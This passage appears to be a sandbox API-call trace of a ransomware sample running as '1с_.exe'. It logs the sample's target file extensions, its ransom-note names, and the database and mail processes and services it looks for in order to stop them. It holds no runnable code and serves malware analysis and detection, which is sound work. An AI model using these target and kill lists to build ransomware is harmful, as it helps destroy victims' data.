1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bb38 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b5e8 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bbc8 | out: hHeap=0x510000) returned 1 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b600 | out: hHeap=0x510000) returned 1 [0037.321] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55e020, Size=0x20) returned 0x545970 [0037.321] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545970, Size=0x40) returned 0x546ab8 [0037.321] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a148 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfa8 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b510 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfd8 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b550 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dfc0 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a158 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55dff0 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547eb8 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545fd0 | out: hHeap=0x510000) returned 1 [0037.322] lstrlenW (lpString="%systemdrive%") returned 13 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545948 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b440 | out: hHeap=0x510000) returned 1 [0037.322] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a128 | out: hHeap=0x510000) returned 1 [0037.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x54b418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0037.323] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55dff0, Size=0x20) returned 0x545970 [0037.323] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545970, Size=0x40) returned 0x546b00 [0037.323] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b00, Size=0x80) returned 0x56b440 [0037.323] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x55b9a0 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b9a0, Size=0x200) returned 0x55b9a0 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b9a0, Size=0x400) returned 0x55b9a0 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b9a0, Size=0x800) returned 0x55b9a0 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b9a0, Size=0x1000) returned 0x560050 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a128, Size=0x8) returned 0x54a148 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a148, Size=0x10) returned 0x55b5b8 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55b5b8, Size=0x20) returned 0x545970 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545970, Size=0x40) returned 0x546b00 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b00, Size=0x80) returned 0x56b440 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x561070 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x561070, Size=0x200) returned 0x55bda0 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55bda0, Size=0x400) returned 0x563058 [0037.324] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x563058, Size=0x800) returned 0x564060 [0037.324] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560050 | out: hHeap=0x510000) returned 1 [0037.325] lstrlenW (lpString="") returned 0 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x564ef8 | out: hHeap=0x510000) returned 1 [0037.325] lstrlenW (lpString=".asd") returned 4 [0037.325] lstrlenW (lpString=".asd") returned 4 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x564ef8 | out: hHeap=0x510000) returned 1 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f28, Size=0x20) returned 0x545970 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545970, Size=0x40) returned 0x546b00 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b00, Size=0x80) returned 0x56b440 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a2c8, Size=0x8) returned 0x54a2d8 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a2d8, Size=0x10) returned 0x564f28 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f28, Size=0x20) returned 0x5459c0 [0037.325] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b440 | out: hHeap=0x510000) returned 1 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f58, Size=0x20) returned 0x5459e8 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5459e8, Size=0x40) returned 0x546b00 [0037.325] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.325] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546b00 | out: hHeap=0x510000) returned 1 [0037.325] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f58, Size=0x20) returned 0x5459e8 [0037.325] lstrlenW (lpString="Info.hta") returned 8 [0037.325] lstrlenW (lpString="Info.hta") returned 8 [0037.325] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5459e8 | out: hHeap=0x510000) returned 1 [0037.326] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58d450, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe")) returned 0x2d [0037.326] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58d450 | out: hHeap=0x510000) returned 1 [0037.326] lstrlenW (lpString="1с_.exe") returned 7 [0037.326] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5459c0, Size=0x40) returned 0x546b00 [0037.326] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f70, Size=0x20) returned 0x5459c0 [0037.326] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f70, Size=0x20) returned 0x5459e8 [0037.326] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5459e8, Size=0x40) returned 0x546b48 [0037.326] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b48, Size=0x80) returned 0x56b440 [0037.326] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x561070 [0037.326] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0037.326] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561070 | out: hHeap=0x510000) returned 1 [0037.326] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x58d450, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0037.326] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x59d458 | out: hHeap=0x510000) returned 1 [0037.326] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58d450 | out: hHeap=0x510000) returned 1 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a2d8, Size=0x8) returned 0x54a2c8 [0037.327] lstrlenW (lpString="%windir%;") returned 9 [0037.327] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5459c0 | out: hHeap=0x510000) returned 1 [0037.327] lstrlenW (lpString="C:\\Windows;") returned 11 [0037.327] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d448 | out: hHeap=0x510000) returned 1 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564f88, Size=0x20) returned 0x5459c0 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5459c0, Size=0x40) returned 0x546b48 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b48, Size=0x80) returned 0x56b440 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x561070 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a308, Size=0x8) returned 0x54a318 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a318, Size=0x10) returned 0x564fd0 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x564fd0, Size=0x20) returned 0x5459c0 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a2d8, Size=0x8) returned 0x54a318 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a2e8, Size=0x8) returned 0x54a2d8 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a308, Size=0x8) returned 0x54a328 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a328, Size=0x10) returned 0x560080 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560080, Size=0x20) returned 0x5459e8 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a318, Size=0x10) returned 0x560080 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a2d8, Size=0x10) returned 0x5600b0 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a318, Size=0x8) returned 0x54a308 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a338, Size=0x8) returned 0x54a348 [0037.327] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560080, Size=0x20) returned 0x545a10 [0037.328] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5600b0, Size=0x20) returned 0x545a38 [0037.328] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a358, Size=0x8) returned 0x54a368 [0037.328] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0037.328] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561070 | out: hHeap=0x510000) returned 1 [0037.328] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560128, Size=0x20) returned 0x545a88 [0037.328] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x57d448, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0037.328] lstrlenW (lpString="C:\\") returned 3 [0037.328] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.328] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d448 | out: hHeap=0x510000) returned 1 [0037.328] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x563070, Size=0x82) returned 0x55be78 [0037.328] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x563090, Size=0x100) returned 0x561070 [0037.329] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x55be78, Size=0x104) returned 0x5608e0 [0037.329] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x561070, Size=0x200) returned 0x565080 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x563080 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x565080 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5601d0 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b660 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560188 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b5d8 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5601b8 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5608e0 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5601a0 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55bf08 | out: hHeap=0x510000) returned 1 [0037.330] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5601e8 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560850 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560200 | out: hHeap=0x510000) returned 1 [0037.331] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560200, Size=0x20) returned 0x545ab0 [0037.331] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545ab0, Size=0x40) returned 0x546b48 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a378 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560128 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c3a8 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560158 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b550 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560140 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a388 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560170 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b550 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5460d0 | out: hHeap=0x510000) returned 1 [0037.331] lstrlenW (lpString="%systemdrive%") returned 13 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545a88 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b440 | out: hHeap=0x510000) returned 1 [0037.331] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a358 | out: hHeap=0x510000) returned 1 [0037.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x56d428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0038.458] WaitForMultipleObjects (nCount=0x2, lpHandles=0x547c18*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x934 Thread: id = 4 os_tid = 0x940 [0038.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560170 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560170, Size=0x20) returned 0x545ab0 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545ab0, Size=0x40) returned 0x546b90 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b90, Size=0x80) returned 0x56b440 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x561070 [0038.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560170 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560170, Size=0x20) returned 0x545ab0 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545ab0, Size=0x40) returned 0x546b90 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546b90, Size=0x80) returned 0x56b440 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x561178 [0038.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x560170 [0038.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54a358 [0038.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560140 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a358, Size=0x8) returned 0x54a388 [0038.414] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x5460f0 [0038.414] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a388, Size=0x10) returned 0x560158 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x546110 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x545ab0 [0038.415] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560158, Size=0x20) returned 0x545ad8 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c) returned 0x545b00 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x16) returned 0x546130 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1a) returned 0x545b28 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x560158 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x54a388 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x546b90 [0038.415] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a388, Size=0x8) returned 0x54a358 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3c) returned 0x546bd8 [0038.415] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x54a358, Size=0x10) returned 0x560128 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x546150 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x546170 [0038.415] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560128, Size=0x20) returned 0x545b50 [0038.415] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x55c3a8 [0038.415] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0038.415] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561070 | out: hHeap=0x510000) returned 1 [0038.415] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0038.415] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561178 | out: hHeap=0x510000) returned 1 [0038.415] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x545bf0 [0038.416] EnumServicesStatusExW (in: hSCManager=0x545bf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0038.417] GetLastError () returned 0xea [0038.417] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x57e488 [0038.417] EnumServicesStatusExW (in: hSCManager=0x545bf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x57e488, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x57e488, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0038.418] CloseServiceHandle (hSCObject=0x545bf0) returned 1 [0038.419] lstrlenW (lpString="Appinfo") returned 7 [0038.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0038.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0038.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0038.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0038.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0038.419] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0038.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0038.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0038.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0038.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0038.419] lstrlenW (lpString="AudioSrv") returned 8 [0038.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0038.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0038.419] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0038.419] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0038.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0038.419] lstrlenW (lpString="BFE") returned 3 [0038.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0038.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0038.419] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0038.419] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0038.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0038.420] lstrlenW (lpString="CryptSvc") returned 8 [0038.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0038.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0038.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0038.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0038.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0038.420] lstrlenW (lpString="CscService") returned 10 [0038.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0038.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0038.420] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0038.420] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0038.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0038.420] lstrlenW (lpString="DcomLaunch") returned 10 [0038.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0038.420] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0038.420] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 